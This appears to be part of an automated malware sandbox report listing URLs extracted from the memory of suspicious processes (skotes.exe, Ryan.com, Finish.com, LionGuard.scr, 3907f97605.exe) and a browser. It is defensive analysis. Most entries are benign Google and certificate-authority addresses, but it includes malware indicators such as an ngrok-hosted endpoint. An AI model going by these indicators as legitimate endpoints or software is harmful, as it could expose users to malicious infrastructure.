Source: Ryan.com, 00000012.00000003.2651471245.000002095907F000.00000004.00000001.00020000.00000000.sdmp, Finish.com, 00000022.00000003.2845100305.0000000004461000.00000004.00000800.00020000.00000000.sdmp, Finish.com, 00000022.00000003.3272157864.0000000001ADA000.00000004.00000020.00020000.00000000.sdmp, InnoSphere.scr.34.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Ryan.com, 00000012.00000003.2651471245.000002095907F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Finish.com, 00000022.00000003.2845100305.0000000004461000.00000004.00000800.00020000.00000000.sdmp, Finish.com, 00000022.00000003.3272157864.0000000001ADA000.00000004.00000020.00020000.00000000.sdmp, InnoSphere.scr.34.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/a
Source: Ryan.com, 00000012.00000003.2651471245.000002095907F000.00000004.00000001.00020000.00000000.sdmp, Ryan.com, 00000012.00000000.2640965613.00007FF6D8504000.00000002.00000001.01000000.0000000C.sdmp, LionGuard.scr, 0000001E.00000000.2764490200.00007FF6183F4000.00000002.00000001.01000000.0000000F.sdmp, Finish.com, 00000022.00000003.2845100305.0000000004461000.00000004.00000800.00020000.00000000.sdmp, Finish.com, 00000022.00000000.2811378955.0000000000E55000.00000002.00000001.01000000.00000011.sdmp, InnoSphere.scr.34.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.entrust.net/rpa03
Source: chrome.exe, 00000024.00000002.3106511788.0000581800A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: 3907f97605.exe, 0000001F.00000003.3237931398.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3325816740.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3134050190.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3101184514.0000000001475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: 3907f97605.exe, 0000001F.00000003.2970296962.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 3907f97605.exe, 0000001F.00000003.2970296962.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000024.00000002.3100005569.0000581800064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000024.00000002.3101895860.0000581800420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000024.00000002.3099830860.000058180000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo?source=ChromiumBrowser
Source: chrome.exe, 00000024.00000002.3101895860.0000581800420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3099830860.000058180000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3100005569.0000581800064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout?source=ChromiumBrowser&continue=https://accounts.google.com/chrom
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000024.00000002.3106595490.0000581800A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000024.00000002.3100235661.0000581800104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000024.00000002.3100235661.0000581800104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000024.00000002.3100235661.0000581800104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000024.00000002.3100005569.0000581800064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: 779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chromecache_156.42.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000024.00000002.3102018176.0000581800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: 3907f97605.exe, 0000001F.00000003.2976959574.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 3907f97605.exe, 0000001F.00000003.3006443988.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: chrome.exe, 00000024.00000002.3102221646.00005818004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103895107.0000581800738000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3109011563.0000581800EFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icodisabled
Source: 3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: 3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: 3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000024.00000002.3105791214.00005818008B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000024.00000002.3102647848.000058180060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107624845.0000581800C7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106511788.0000581800A24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104057220.0000581800790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3109887268.0000581801130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000024.00000002.3109887268.0000581801130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enX
Source: chrome.exe, 00000024.00000002.3101684919.00005818003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3037356148.0000581800CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101209664.00005818002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3036239587.0000581800D10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107841915.0000581800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101618695.0000581800384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3036129936.0000581800CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107775780.0000581800CDF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3043289274.0000581800D10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107739686.0000581800CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3105791214.00005818008B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000024.00000002.3102647848.000058180060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreX
Source: chrome.exe, 00000024.00000002.3099830860.000058180000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstorekgejglhpjiefppelpmljglcjbhoiplfn
Source: chrome.exe, 00000024.00000002.3098729032.000025680078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000024.00000003.2845703902.0000256800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098928055.000025680080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000024.00000002.3098729032.000025680078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000024.00000003.2845703902.0000256800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098928055.000025680080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000024.00000002.3098729032.000025680078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000024.00000003.2875198001.0000256800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098729032.000025680078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000024.00000003.2845703902.0000256800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098928055.000025680080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000024.00000003.3040322237.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035226903.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101518675.0000581800358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000024.00000003.3040322237.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035226903.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101518675.0000581800358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000024.00000002.3099830860.000058180000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000024.00000002.3107624845.0000581800C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000024.00000002.3107624845.0000581800C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/X
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g1
Source: chrome.exe, 00000024.00000003.2841293259.00005CDC002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2841362373.00005CDC002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000024.00000002.3102760692.000058180064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103706558.00005818006EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3099830860.000058180000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103585240.00005818006B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101012963.0000581800290000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000024.00000002.3106948478.0000581800B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod
Source: chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxP_
Source: chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxX
Source: chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bX
Source: chrome.exe, 00000024.00000002.3106246308.0000581800998000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000024.00000002.3103895107.0000581800738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
